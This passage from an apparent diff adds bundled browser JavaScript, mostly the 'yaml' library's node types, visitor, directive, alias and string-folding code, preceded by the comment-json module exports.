__commonJS({ + "node_modules/comment-json/src/index.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var { parse: parse17, tokenize } = require_parse3(); + var stringify5 = require_stringify(); + var { CommentArray } = require_array(); + var { + PREFIX_BEFORE, + PREFIX_AFTER_PROP, + PREFIX_AFTER_COLON, + PREFIX_AFTER_VALUE, + PREFIX_AFTER, + PREFIX_BEFORE_ALL, + PREFIX_AFTER_ALL, + assign: assign3, + moveComments, + removeComments + } = require_common6(); + module5.exports = { + PREFIX_BEFORE, + PREFIX_AFTER_PROP, + PREFIX_AFTER_COLON, + PREFIX_AFTER_VALUE, + PREFIX_AFTER, + PREFIX_BEFORE_ALL, + PREFIX_AFTER_ALL, + parse: parse17, + stringify: stringify5, + tokenize, + CommentArray, + assign: assign3, + moveComments, + removeComments + }; + } +}); + +// src/browser/index.ts +init_dirname(); +init_buffer2(); +init_process2(); + +// src/browser/generate.ts +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/index.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/index.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/compose/composer.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/doc/directives.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/nodes/identity.js +init_dirname(); +init_buffer2(); +init_process2(); +var ALIAS = Symbol.for("yaml.alias"); +var DOC = Symbol.for("yaml.document"); +var MAP = Symbol.for("yaml.map"); +var PAIR = Symbol.for("yaml.pair"); +var SCALAR = Symbol.for("yaml.scalar"); +var SEQ = Symbol.for("yaml.seq"); +var NODE_TYPE = Symbol.for("yaml.node.type"); +var isAlias = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === ALIAS; +var isDocument = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === DOC; +var isMap = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === MAP; +var isPair = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === PAIR; +var isScalar = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === SCALAR; +var isSeq = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === SEQ; +function isCollection(node) { + if (node && typeof node === "object") + switch (node[NODE_TYPE]) { + case MAP: + case SEQ: + return true; + } + return false; +} +function isNode(node) { + if (node && typeof node === "object") + switch (node[NODE_TYPE]) { + case ALIAS: + case MAP: + case SCALAR: + case SEQ: + return true; + } + return false; +} +var hasAnchor = (node) => (isScalar(node) || isCollection(node)) && !!node.anchor; + +// node_modules/yaml/browser/dist/visit.js +init_dirname(); +init_buffer2(); +init_process2(); +var BREAK = Symbol("break visit"); +var SKIP = Symbol("skip children"); +var REMOVE = Symbol("remove node"); +function visit(node, visitor) { + const visitor_ = initVisitor(visitor); + if (isDocument(node)) { + const cd = visit_(null, node.contents, visitor_, Object.freeze([node])); + if (cd === REMOVE) + node.contents = null; + } else + visit_(null, node, visitor_, Object.freeze([])); +} +visit.BREAK = BREAK; +visit.SKIP = SKIP; +visit.REMOVE = REMOVE; +function visit_(key, node, visitor, path2) { + const ctrl = callVisitor(key, node, visitor, path2); + if (isNode(ctrl) || isPair(ctrl)) { + replaceNode(key, path2, ctrl); + return visit_(key, ctrl, visitor, path2); + } + if (typeof ctrl !== "symbol") { + if (isCollection(node)) { + path2 = Object.freeze(path2.concat(node)); + for (let i7 = 0; i7 < node.items.length; ++i7) { + const ci = visit_(i7, node.items[i7], visitor, path2); + if (typeof ci === "number") + i7 = ci - 1; + else if (ci === BREAK) + return BREAK; + else if (ci === REMOVE) { + node.items.splice(i7, 1); + i7 -= 1; + } + } + } else if (isPair(node)) { + path2 = Object.freeze(path2.concat(node)); + const ck = visit_("key", node.key, visitor, path2); + if (ck === BREAK) + return BREAK; + else if (ck === REMOVE) + node.key = null; + const cv = visit_("value", node.value, visitor, path2); + if (cv === BREAK) + return BREAK; + else if (cv === REMOVE) + node.value = null; + } + } + return ctrl; +} +async function visitAsync(node, visitor) { + const visitor_ = initVisitor(visitor); + if (isDocument(node)) { + const cd = await visitAsync_(null, node.contents, visitor_, Object.freeze([node])); + if (cd === REMOVE) + node.contents = null; + } else + await visitAsync_(null, node, visitor_, Object.freeze([])); +} +visitAsync.BREAK = BREAK; +visitAsync.SKIP = SKIP; +visitAsync.REMOVE = REMOVE; +async function visitAsync_(key, node, visitor, path2) { + const ctrl = await callVisitor(key, node, visitor, path2); + if (isNode(ctrl) || isPair(ctrl)) { + replaceNode(key, path2, ctrl); + return visitAsync_(key, ctrl, visitor, path2); + } + if (typeof ctrl !== "symbol") { + if (isCollection(node)) { + path2 = Object.freeze(path2.concat(node)); + for (let i7 = 0; i7 < node.items.length; ++i7) { + const ci = await visitAsync_(i7, node.items[i7], visitor, path2); + if (typeof ci === "number") + i7 = ci - 1; + else if (ci === BREAK) + return BREAK; + else if (ci === REMOVE) { + node.items.splice(i7, 1); + i7 -= 1; + } + } + } else if (isPair(node)) { + path2 = Object.freeze(path2.concat(node)); + const ck = await visitAsync_("key", node.key, visitor, path2); + if (ck === BREAK) + return BREAK; + else if (ck === REMOVE) + node.key = null; + const cv = await visitAsync_("value", node.value, visitor, path2); + if (cv === BREAK) + return BREAK; + else if (cv === REMOVE) + node.value = null; + } + } + return ctrl; +} +function initVisitor(visitor) { + if (typeof visitor === "object" && (visitor.Collection || visitor.Node || visitor.Value)) { + return Object.assign({ + Alias: visitor.Node, + Map: visitor.Node, + Scalar: visitor.Node, + Seq: visitor.Node + }, visitor.Value && { + Map: visitor.Value, + Scalar: visitor.Value, + Seq: visitor.Value + }, visitor.Collection && { + Map: visitor.Collection, + Seq: visitor.Collection + }, visitor); + } + return visitor; +} +function callVisitor(key, node, visitor, path2) { + if (typeof visitor === "function") + return visitor(key, node, path2); + if (isMap(node)) + return visitor.Map?.(key, node, path2); + if (isSeq(node)) + return visitor.Seq?.(key, node, path2); + if (isPair(node)) + return visitor.Pair?.(key, node, path2); + if (isScalar(node)) + return visitor.Scalar?.(key, node, path2); + if (isAlias(node)) + return visitor.Alias?.(key, node, path2); + return void 0; +} +function replaceNode(key, path2, node) { + const parent2 = path2[path2.length - 1]; + if (isCollection(parent2)) { + parent2.items[key] = node; + } else if (isPair(parent2)) { + if (key === "key") + parent2.key = node; + else + parent2.value = node; + } else if (isDocument(parent2)) { + parent2.contents = node; + } else { + const pt = isAlias(parent2) ? "alias" : "scalar"; + throw new Error(`Cannot replace node with ${pt} parent`); + } +} + +// node_modules/yaml/browser/dist/doc/directives.js +var escapeChars = { + "!": "%21", + ",": "%2C", + "[": "%5B", + "]": "%5D", + "{": "%7B", + "}": "%7D" +}; +var escapeTagName = (tn) => tn.replace(/[!,[\]{}]/g, (ch) => escapeChars[ch]); +var Directives = class _Directives { + constructor(yaml, tags6) { + this.docStart = null; + this.docEnd = false; + this.yaml = Object.assign({}, _Directives.defaultYaml, yaml); + this.tags = Object.assign({}, _Directives.defaultTags, tags6); + } + clone() { + const copy4 = new _Directives(this.yaml, this.tags); + copy4.docStart = this.docStart; + return copy4; + } + /** + * During parsing, get a Directives instance for the current document and + * update the stream state according to the current version's spec. + */ + atDocument() { + const res = new _Directives(this.yaml, this.tags); + switch (this.yaml.version) { + case "1.1": + this.atNextDocument = true; + break; + case "1.2": + this.atNextDocument = false; + this.yaml = { + explicit: _Directives.defaultYaml.explicit, + version: "1.2" + }; + this.tags = Object.assign({}, _Directives.defaultTags); + break; + } + return res; + } + /** + * @param onError - May be called even if the action was successful + * @returns `true` on success + */ + add(line, onError) { + if (this.atNextDocument) { + this.yaml = { explicit: _Directives.defaultYaml.explicit, version: "1.1" }; + this.tags = Object.assign({}, _Directives.defaultTags); + this.atNextDocument = false; + } + const parts = line.trim().split(/[ \t]+/); + const name2 = parts.shift(); + switch (name2) { + case "%TAG": { + if (parts.length !== 2) { + onError(0, "%TAG directive should contain exactly two parts"); + if (parts.length < 2) + return false; + } + const [handle, prefix] = parts; + this.tags[handle] = prefix; + return true; + } + case "%YAML": { + this.yaml.explicit = true; + if (parts.length !== 1) { + onError(0, "%YAML directive should contain exactly one part"); + return false; + } + const [version5] = parts; + if (version5 === "1.1" || version5 === "1.2") { + this.yaml.version = version5; + return true; + } else { + const isValid2 = /^\d+\.\d+$/.test(version5); + onError(6, `Unsupported YAML version ${version5}`, isValid2); + return false; + } + } + default: + onError(0, `Unknown directive ${name2}`, true); + return false; + } + } + /** + * Resolves a tag, matching handles to those defined in %TAG directives. + * + * @returns Resolved tag, which may also be the non-specific tag `'!'` or a + * `'!local'` tag, or `null` if unresolvable. + */ + tagName(source, onError) { + if (source === "!") + return "!"; + if (source[0] !== "!") { + onError(`Not a valid tag: ${source}`); + return null; + } + if (source[1] === "<") { + const verbatim = source.slice(2, -1); + if (verbatim === "!" || verbatim === "!!") { + onError(`Verbatim tags aren't resolved, so ${source} is invalid.`); + return null; + } + if (source[source.length - 1] !== ">") + onError("Verbatim tags must end with a >"); + return verbatim; + } + const [, handle, suffix] = source.match(/^(.*!)([^!]*)$/s); + if (!suffix) + onError(`The ${source} tag has no suffix`); + const prefix = this.tags[handle]; + if (prefix) { + try { + return prefix + decodeURIComponent(suffix); + } catch (error2) { + onError(String(error2)); + return null; + } + } + if (handle === "!") + return source; + onError(`Could not resolve tag: ${source}`); + return null; + } + /** + * Given a fully resolved tag, returns its printable string form, + * taking into account current tag prefixes and defaults. + */ + tagString(tag) { + for (const [handle, prefix] of Object.entries(this.tags)) { + if (tag.startsWith(prefix)) + return handle + escapeTagName(tag.substring(prefix.length)); + } + return tag[0] === "!" ? tag : `!<${tag}>`; + } + toString(doc) { + const lines = this.yaml.explicit ? [`%YAML ${this.yaml.version || "1.2"}`] : []; + const tagEntries = Object.entries(this.tags); + let tagNames; + if (doc && tagEntries.length > 0 && isNode(doc.contents)) { + const tags6 = {}; + visit(doc.contents, (_key, node) => { + if (isNode(node) && node.tag) + tags6[node.tag] = true; + }); + tagNames = Object.keys(tags6); + } else + tagNames = []; + for (const [handle, prefix] of tagEntries) { + if (handle === "!!" && prefix === "tag:yaml.org,2002:") + continue; + if (!doc || tagNames.some((tn) => tn.startsWith(prefix))) + lines.push(`%TAG ${handle} ${prefix}`); + } + return lines.join("\n"); + } +}; +Directives.defaultYaml = { explicit: false, version: "1.2" }; +Directives.defaultTags = { "!!": "tag:yaml.org,2002:" }; + +// node_modules/yaml/browser/dist/doc/Document.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/nodes/Alias.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/doc/anchors.js +init_dirname(); +init_buffer2(); +init_process2(); +function anchorIsValid(anchor) { + if (/[\x00-\x19\s,[\]{}]/.test(anchor)) { + const sa = JSON.stringify(anchor); + const msg = `Anchor must not contain whitespace or control characters: ${sa}`; + throw new Error(msg); + } + return true; +} +function anchorNames(root2) { + const anchors = /* @__PURE__ */ new Set(); + visit(root2, { + Value(_key, node) { + if (node.anchor) + anchors.add(node.anchor); + } + }); + return anchors; +} +function findNewAnchor(prefix, exclude) { + for (let i7 = 1; true; ++i7) { + const name2 = `${prefix}${i7}`; + if (!exclude.has(name2)) + return name2; + } +} +function createNodeAnchors(doc, prefix) { + const aliasObjects = []; + const sourceObjects = /* @__PURE__ */ new Map(); + let prevAnchors = null; + return { + onAnchor: (source) => { + aliasObjects.push(source); + prevAnchors ?? (prevAnchors = anchorNames(doc)); + const anchor = findNewAnchor(prefix, prevAnchors); + prevAnchors.add(anchor); + return anchor; + }, + /** + * With circular references, the source node is only resolved after all + * of its child nodes are. This is why anchors are set only after all of + * the nodes have been created. + */ + setAnchors: () => { + for (const source of aliasObjects) { + const ref = sourceObjects.get(source); + if (typeof ref === "object" && ref.anchor && (isScalar(ref.node) || isCollection(ref.node))) { + ref.node.anchor = ref.anchor; + } else { + const error2 = new Error("Failed to resolve repeated object (this should not happen)"); + error2.source = source; + throw error2; + } + } + }, + sourceObjects + }; +} + +// node_modules/yaml/browser/dist/nodes/Node.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/doc/applyReviver.js +init_dirname(); +init_buffer2(); +init_process2(); +function applyReviver(reviver, obj, key, val) { + if (val && typeof val === "object") { + if (Array.isArray(val)) { + for (let i7 = 0, len = val.length; i7 < len; ++i7) { + const v0 = val[i7]; + const v1 = applyReviver(reviver, val, String(i7), v0); + if (v1 === void 0) + delete val[i7]; + else if (v1 !== v0) + val[i7] = v1; + } + } else if (val instanceof Map) { + for (const k6 of Array.from(val.keys())) { + const v0 = val.get(k6); + const v1 = applyReviver(reviver, val, k6, v0); + if (v1 === void 0) + val.delete(k6); + else if (v1 !== v0) + val.set(k6, v1); + } + } else if (val instanceof Set) { + for (const v0 of Array.from(val)) { + const v1 = applyReviver(reviver, val, v0, v0); + if (v1 === void 0) + val.delete(v0); + else if (v1 !== v0) { + val.delete(v0); + val.add(v1); + } + } + } else { + for (const [k6, v0] of Object.entries(val)) { + const v1 = applyReviver(reviver, val, k6, v0); + if (v1 === void 0) + delete val[k6]; + else if (v1 !== v0) + val[k6] = v1; + } + } + } + return reviver.call(obj, key, val); +} + +// node_modules/yaml/browser/dist/nodes/toJS.js +init_dirname(); +init_buffer2(); +init_process2(); +function toJS(value2, arg, ctx) { + if (Array.isArray(value2)) + return value2.map((v8, i7) => toJS(v8, String(i7), ctx)); + if (value2 && typeof value2.toJSON === "function") { + if (!ctx || !hasAnchor(value2)) + return value2.toJSON(arg, ctx); + const data = { aliasCount: 0, count: 1, res: void 0 }; + ctx.anchors.set(value2, data); + ctx.onCreate = (res2) => { + data.res = res2; + delete ctx.onCreate; + }; + const res = value2.toJSON(arg, ctx); + if (ctx.onCreate) + ctx.onCreate(res); + return res; + } + if (typeof value2 === "bigint" && !ctx?.keep) + return Number(value2); + return value2; +} + +// node_modules/yaml/browser/dist/nodes/Node.js +var NodeBase = class { + constructor(type3) { + Object.defineProperty(this, NODE_TYPE, { value: type3 }); + } + /** Create a copy of this node. */ + clone() { + const copy4 = Object.create(Object.getPrototypeOf(this), Object.getOwnPropertyDescriptors(this)); + if (this.range) + copy4.range = this.range.slice(); + return copy4; + } + /** A plain JavaScript representation of this node. */ + toJS(doc, { mapAsMap, maxAliasCount, onAnchor, reviver } = {}) { + if (!isDocument(doc)) + throw new TypeError("A document argument is required"); + const ctx = { + anchors: /* @__PURE__ */ new Map(), + doc, + keep: true, + mapAsMap: mapAsMap === true, + mapKeyWarned: false, + maxAliasCount: typeof maxAliasCount === "number" ? maxAliasCount : 100 + }; + const res = toJS(this, "", ctx); + if (typeof onAnchor === "function") + for (const { count: count2, res: res2 } of ctx.anchors.values()) + onAnchor(res2, count2); + return typeof reviver === "function" ? applyReviver(reviver, { "": res }, "", res) : res; + } +}; + +// node_modules/yaml/browser/dist/nodes/Alias.js +var Alias = class extends NodeBase { + constructor(source) { + super(ALIAS); + this.source = source; + Object.defineProperty(this, "tag", { + set() { + throw new Error("Alias nodes cannot have tags"); + } + }); + } + /** + * Resolve the value of this alias within `doc`, finding the last + * instance of the `source` anchor before this node. + */ + resolve(doc, ctx) { + let nodes; + if (ctx?.aliasResolveCache) { + nodes = ctx.aliasResolveCache; + } else { + nodes = []; + visit(doc, { + Node: (_key, node) => { + if (isAlias(node) || hasAnchor(node)) + nodes.push(node); + } + }); + if (ctx) + ctx.aliasResolveCache = nodes; + } + let found = void 0; + for (const node of nodes) { + if (node === this) + break; + if (node.anchor === this.source) + found = node; + } + return found; + } + toJSON(_arg, ctx) { + if (!ctx) + return { source: this.source }; + const { anchors, doc, maxAliasCount } = ctx; + const source = this.resolve(doc, ctx); + if (!source) { + const msg = `Unresolved alias (the anchor must be set before the alias): ${this.source}`; + throw new ReferenceError(msg); + } + let data = anchors.get(source); + if (!data) { + toJS(source, null, ctx); + data = anchors.get(source); + } + if (!data || data.res === void 0) { + const msg = "This should not happen: Alias anchor was not resolved?"; + throw new ReferenceError(msg); + } + if (maxAliasCount >= 0) { + data.count += 1; + if (data.aliasCount === 0) + data.aliasCount = getAliasCount(doc, source, anchors); + if (data.count * data.aliasCount > maxAliasCount) { + const msg = "Excessive alias count indicates a resource exhaustion attack"; + throw new ReferenceError(msg); + } + } + return data.res; + } + toString(ctx, _onComment, _onChompKeep) { + const src = `*${this.source}`; + if (ctx) { + anchorIsValid(this.source); + if (ctx.options.verifyAliasOrder && !ctx.anchors.has(this.source)) { + const msg = `Unresolved alias (the anchor must be set before the alias): ${this.source}`; + throw new Error(msg); + } + if (ctx.implicitKey) + return `${src} `; + } + return src; + } +}; +function getAliasCount(doc, node, anchors) { + if (isAlias(node)) { + const source = node.resolve(doc); + const anchor = anchors && source && anchors.get(source); + return anchor ? anchor.count * anchor.aliasCount : 0; + } else if (isCollection(node)) { + let count2 = 0; + for (const item of node.items) { + const c7 = getAliasCount(doc, item, anchors); + if (c7 > count2) + count2 = c7; + } + return count2; + } else if (isPair(node)) { + const kc = getAliasCount(doc, node.key, anchors); + const vc = getAliasCount(doc, node.value, anchors); + return Math.max(kc, vc); + } + return 1; +} + +// node_modules/yaml/browser/dist/nodes/Collection.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/doc/createNode.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/nodes/Scalar.js +init_dirname(); +init_buffer2(); +init_process2(); +var isScalarValue = (value2) => !value2 || typeof value2 !== "function" && typeof value2 !== "object"; +var Scalar = class extends NodeBase { + constructor(value2) { + super(SCALAR); + this.value = value2; + } + toJSON(arg, ctx) { + return ctx?.keep ? this.value : toJS(this.value, arg, ctx); + } + toString() { + return String(this.value); + } +}; +Scalar.BLOCK_FOLDED = "BLOCK_FOLDED"; +Scalar.BLOCK_LITERAL = "BLOCK_LITERAL"; +Scalar.PLAIN = "PLAIN"; +Scalar.QUOTE_DOUBLE = "QUOTE_DOUBLE"; +Scalar.QUOTE_SINGLE = "QUOTE_SINGLE"; + +// node_modules/yaml/browser/dist/doc/createNode.js +var defaultTagPrefix = "tag:yaml.org,2002:"; +function findTagObject(value2, tagName, tags6) { + if (tagName) { + const match = tags6.filter((t8) => t8.tag === tagName); + const tagObj = match.find((t8) => !t8.format) ?? match[0]; + if (!tagObj) + throw new Error(`Tag ${tagName} not found`); + return tagObj; + } + return tags6.find((t8) => t8.identify?.(value2) && !t8.format); +} +function createNode(value2, tagName, ctx) { + if (isDocument(value2)) + value2 = value2.contents; + if (isNode(value2)) + return value2; + if (isPair(value2)) { + const map4 = ctx.schema[MAP].createNode?.(ctx.schema, null, ctx); + map4.items.push(value2); + return map4; + } + if (value2 instanceof String || value2 instanceof Number || value2 instanceof Boolean || typeof BigInt !== "undefined" && value2 instanceof BigInt) { + value2 = value2.valueOf(); + } + const { aliasDuplicateObjects, onAnchor, onTagObj, schema: schema8, sourceObjects } = ctx; + let ref = void 0; + if (aliasDuplicateObjects && value2 && typeof value2 === "object") { + ref = sourceObjects.get(value2); + if (ref) { + ref.anchor ?? (ref.anchor = onAnchor(value2)); + return new Alias(ref.anchor); + } else { + ref = { anchor: null, node: null }; + sourceObjects.set(value2, ref); + } + } + if (tagName?.startsWith("!!")) + tagName = defaultTagPrefix + tagName.slice(2); + let tagObj = findTagObject(value2, tagName, schema8.tags); + if (!tagObj) { + if (value2 && typeof value2.toJSON === "function") { + value2 = value2.toJSON(); + } + if (!value2 || typeof value2 !== "object") { + const node2 = new Scalar(value2); + if (ref) + ref.node = node2; + return node2; + } + tagObj = value2 instanceof Map ? schema8[MAP] : Symbol.iterator in Object(value2) ? schema8[SEQ] : schema8[MAP]; + } + if (onTagObj) { + onTagObj(tagObj); + delete ctx.onTagObj; + } + const node = tagObj?.createNode ? tagObj.createNode(ctx.schema, value2, ctx) : typeof tagObj?.nodeClass?.from === "function" ? tagObj.nodeClass.from(ctx.schema, value2, ctx) : new Scalar(value2); + if (tagName) + node.tag = tagName; + else if (!tagObj.default) + node.tag = tagObj.tag; + if (ref) + ref.node = node; + return node; +} + +// node_modules/yaml/browser/dist/nodes/Collection.js +function collectionFromPath(schema8, path2, value2) { + let v8 = value2; + for (let i7 = path2.length - 1; i7 >= 0; --i7) { + const k6 = path2[i7]; + if (typeof k6 === "number" && Number.isInteger(k6) && k6 >= 0) { + const a7 = []; + a7[k6] = v8; + v8 = a7; + } else { + v8 = /* @__PURE__ */ new Map([[k6, v8]]); + } + } + return createNode(v8, void 0, { + aliasDuplicateObjects: false, + keepUndefined: false, + onAnchor: () => { + throw new Error("This should not happen, please report a bug."); + }, + schema: schema8, + sourceObjects: /* @__PURE__ */ new Map() + }); +} +var isEmptyPath = (path2) => path2 == null || typeof path2 === "object" && !!path2[Symbol.iterator]().next().done; +var Collection = class extends NodeBase { + constructor(type3, schema8) { + super(type3); + Object.defineProperty(this, "schema", { + value: schema8, + configurable: true, + enumerable: false, + writable: true + }); + } + /** + * Create a copy of this collection. + * + * @param schema - If defined, overwrites the original's schema + */ + clone(schema8) { + const copy4 = Object.create(Object.getPrototypeOf(this), Object.getOwnPropertyDescriptors(this)); + if (schema8) + copy4.schema = schema8; + copy4.items = copy4.items.map((it2) => isNode(it2) || isPair(it2) ? it2.clone(schema8) : it2); + if (this.range) + copy4.range = this.range.slice(); + return copy4; + } + /** + * Adds a value to the collection. For `!!map` and `!!omap` the value must + * be a Pair instance or a `{ key, value }` object, which may not have a key + * that already exists in the map. + */ + addIn(path2, value2) { + if (isEmptyPath(path2)) + this.add(value2); + else { + const [key, ...rest2] = path2; + const node = this.get(key, true); + if (isCollection(node)) + node.addIn(rest2, value2); + else if (node === void 0 && this.schema) + this.set(key, collectionFromPath(this.schema, rest2, value2)); + else + throw new Error(`Expected YAML collection at ${key}. Remaining path: ${rest2}`); + } + } + /** + * Removes a value from the collection. + * @returns `true` if the item was found and removed. + */ + deleteIn(path2) { + const [key, ...rest2] = path2; + if (rest2.length === 0) + return this.delete(key); + const node = this.get(key, true); + if (isCollection(node)) + return node.deleteIn(rest2); + else + throw new Error(`Expected YAML collection at ${key}. Remaining path: ${rest2}`); + } + /** + * Returns item at `key`, or `undefined` if not found. By default unwraps + * scalar values from their surrounding node; to disable set `keepScalar` to + * `true` (collections are always returned intact). + */ + getIn(path2, keepScalar) { + const [key, ...rest2] = path2; + const node = this.get(key, true); + if (rest2.length === 0) + return !keepScalar && isScalar(node) ? node.value : node; + else + return isCollection(node) ? node.getIn(rest2, keepScalar) : void 0; + } + hasAllNullValues(allowScalar) { + return this.items.every((node) => { + if (!isPair(node)) + return false; + const n7 = node.value; + return n7 == null || allowScalar && isScalar(n7) && n7.value == null && !n7.commentBefore && !n7.comment && !n7.tag; + }); + } + /** + * Checks if the collection includes a value with the key `key`. + */ + hasIn(path2) { + const [key, ...rest2] = path2; + if (rest2.length === 0) + return this.has(key); + const node = this.get(key, true); + return isCollection(node) ? node.hasIn(rest2) : false; + } + /** + * Sets a value in this collection. For `!!set`, `value` needs to be a + * boolean to add/remove the item from the set. + */ + setIn(path2, value2) { + const [key, ...rest2] = path2; + if (rest2.length === 0) { + this.set(key, value2); + } else { + const node = this.get(key, true); + if (isCollection(node)) + node.setIn(rest2, value2); + else if (node === void 0 && this.schema) + this.set(key, collectionFromPath(this.schema, rest2, value2)); + else + throw new Error(`Expected YAML collection at ${key}. Remaining path: ${rest2}`); + } + } +}; + +// node_modules/yaml/browser/dist/nodes/Pair.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/stringify/stringifyPair.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/stringify/stringify.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/stringify/stringifyComment.js +init_dirname(); +init_buffer2(); +init_process2(); +var stringifyComment = (str2) => str2.replace(/^(?!$)(?: $)?/gm, "#"); +function indentComment(comment, indent) { + if (/^\n+$/.test(comment)) + return comment.substring(1); + return indent ? comment.replace(/^(?! *$)/gm, indent) : comment; +} +var lineComment = (str2, indent, comment) => str2.endsWith("\n") ? indentComment(comment, indent) : comment.includes("\n") ? "\n" + indentComment(comment, indent) : (str2.endsWith(" ") ? "" : " ") + comment; + +// node_modules/yaml/browser/dist/stringify/stringifyString.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/stringify/foldFlowLines.js +init_dirname(); +init_buffer2(); +init_process2(); +var FOLD_FLOW = "flow"; +var FOLD_BLOCK = "block"; +var FOLD_QUOTED = "quoted"; +function foldFlowLines(text, indent, mode = "flow", { indentAtStart, lineWidth = 80, minContentWidth = 20, onFold, onOverflow } = {}) { + if (!lineWidth || lineWidth < 0) + return text; + if (lineWidth < minContentWidth) + minContentWidth = 0; + const endStep = Math.max(1 + minContentWidth, 1 + lineWidth - indent.length); + if (text.length <= endStep) + return text; + const folds = []; + const escapedFolds = {}; + let end = lineWidth - indent.length; + if (typeof indentAtStart === "number") { + if (indentAtStart > lineWidth - Math.max(2, minContentWidth)) + folds.push(0); + else + end = lineWidth - indentAtStart; + } + let split3 = void 0; + let prev = void 0; + let overflow = false; + let i7 = -1; + let escStart = -1; + let escEnd = -1; + if (mode === FOLD_BLOCK) { + i7 = consumeMoreIndentedLines(text, i7, indent.length); + if (i7 !== -1) + end = i7 + endStep; + } + for (let ch; ch = text[i7 += 1]; ) { + if (mode === FOLD_QUOTED && ch === "\\") { + escStart = i7; + switch (text[i7 + 1]) { + case "x": + i7 += 3; + break; + case "u": + i7 += 5; + break; + case "U": + i7 += 9; + break; + default: + i7 += 1; + } + escEnd = i7; + } + if (ch === "\n") { + if (mode === FOLD_BLOCK) + i7 = consumeMoreIndentedLines(text, i7, indent.length); + end = i7 + indent.length + endStep; + split3 = void 0; + } else { + if (ch === " " && prev && prev !== " " && prev !== "\n" && prev !== " ") { + const next = text[i7 + 1]; + if (next && next !== " " && next !== "\n" && next !== " ") + split3 = i7; + } + if (i7 >= end) { + if (split3) { + folds.push(split3); + end = split3 + endStep; + split3 = void 0; + } else if (mode === FOLD_QUOTED) { + while (prev === " " || prev === " ") { + prev = ch; + ch = text[i7 += 1]; + overflow = true; + } + const j6 = i7 > escEnd + 1 ? i7 - 2 : escStart - 1; + if (escapedFolds[j6]) + return text; + folds.push(j6); + escapedFolds[j6] = true; + end = j6 + endStep; + split3 = void 0; + } else { + overflow = true; + } + } + } + prev = ch; + } + if (overflow && onOverflow) + onOverflow(); + if (folds.length === 0) + return text; + if (onFold) + onFold(); + let res = text.slice(0, folds[0]); + for (let i8 = 0; i8 < folds.length; ++i8) { + const fold = folds[i8]; + const end2 = folds[i8 + 1] || text.length; + if (fold === 0) + res = ` +${indent}${text.slice(0, end2)}`; + else { + if (mode === FOLD_QUOTED && escapedFolds[fold]) + res += `${text[fold]}\\`; + res += ` +${indent}${text.slice(fold + 1, end2)}`; + } + } + return res; +} +function consumeMoreIndentedLines(text, i7, indent) { + let end = i7; + let start = i7 + 1; + let ch = text[start]; + while (ch === " " || ch === " ") { + if (i7 < start + indent) { + ch = text[++i7]; + } else { + do { + ch = text[++i7]; + } while (ch && ch !== "\n"); + end = i7; + start = i7 + 1; + ch = text[start]; + } + } + return end; +} + +// node_modules/yaml/browser/dist/stringify/stringifyString.js +var getFoldOptions = (ctx, isBlock2) => ({ + indentAtStart: isBlock2 ? ctx.indent.length : ctx.indentAtStart, + lineWidth: ctx.options.lineWidth, + minContentWidth: ctx.options.minContentWidth +}); +var containsDocumentMarker = (str2) => /^(%|---|\.\.\.)/m.test(str2); +function lineLengthOverLimit(str2, lineWidth, indentLength) { + if (!lineWidth || lineWidth < 0) + return false; + const limit = lineWidth - indentLength; + const strLen = str2.length; + if (strLen <= limit) + return false; + for (let i7 = 0, start = 0; i7 < strLen; ++i7) { + if (str2[i7] === "\n") { + if (i7 - start > limit) + return true; + start = i7 + 1; + if (strLen - start <= limit) + return false; + } + } + return true; +} +function doubleQuotedString(value2, ctx) { + const json2 = JSON.stringify(value2); + if (ctx.options.doubleQuotedAsJSON) + return json2; + const { implicitKey } = ctx; + const minMultiLineLength = ctx.options.doubleQuotedMinMultiLineLength; + const indent = ctx.indent || (containsDocumentMarker(value2) ? " " : ""); + let str2 = ""; + let start = 0; + for (let i7 = 0, ch = json2[i7]; ch; ch = json2[++i7]) { + if (ch === " " && json2[i7 + 1] === "\\" && json2[i7 + 2] === "n") { + str2 += json2.slice(start, i7) + "\\ "; + i7 += 1; + start = i7; + ch = "\\"; + } + if (ch === "\\") + switch (json2[i7 + 1]) { + case "u": + { + str2 += json2.slice(start, i7); + const code = json2.substr(i7 + 2, 4); + switch (code) { + case "0000": + str2 += "\\0"; + break; + case "0007": + str2 += "\\a"; + break; + case "000b": + str2 += "\\v"; + break; + case "001b": + str2 += "\\e"; + break; + case "0085": + str2 += "\\N"; + break; + case "00a0": + str2 += "\\_"; + break; + case "2028": + str2 += "\\L"; + break; + case "2029": + str2 += "\\P"; + break; + default: + if (code.substr(0, 2) === "00") + str2 += "\\x" + code.substr(2); + else + str2 += json2.substr(i7, 6); + } + i7 += 5; + start = i7 + 1; + } + break; + case "n": + if (implicitKey || json2[i7 + 2] === '"' || json2.length < minMultiLineLength) { + i7 += 1; + } else { + str2 += json2.slice(start, i7) + "\n\n"; + while (json2[i7 + 2] === "\\" && json2[i7 + 3] === "n" && json2[i7 + 4] !== '"') { + str2 += "\n"; + i7 += 2; + } + str2 += indent; + if (json2[i7 + 2] === " ") + str2 += "\\"; + i7 += 1; + start = i7 + 1; + } + break; + default: + i7 += 1; + } + } + str2 = start ? str2 + json2.slice(start) : json2; + return implicitKey ? str2 : foldFlowLines(str2, 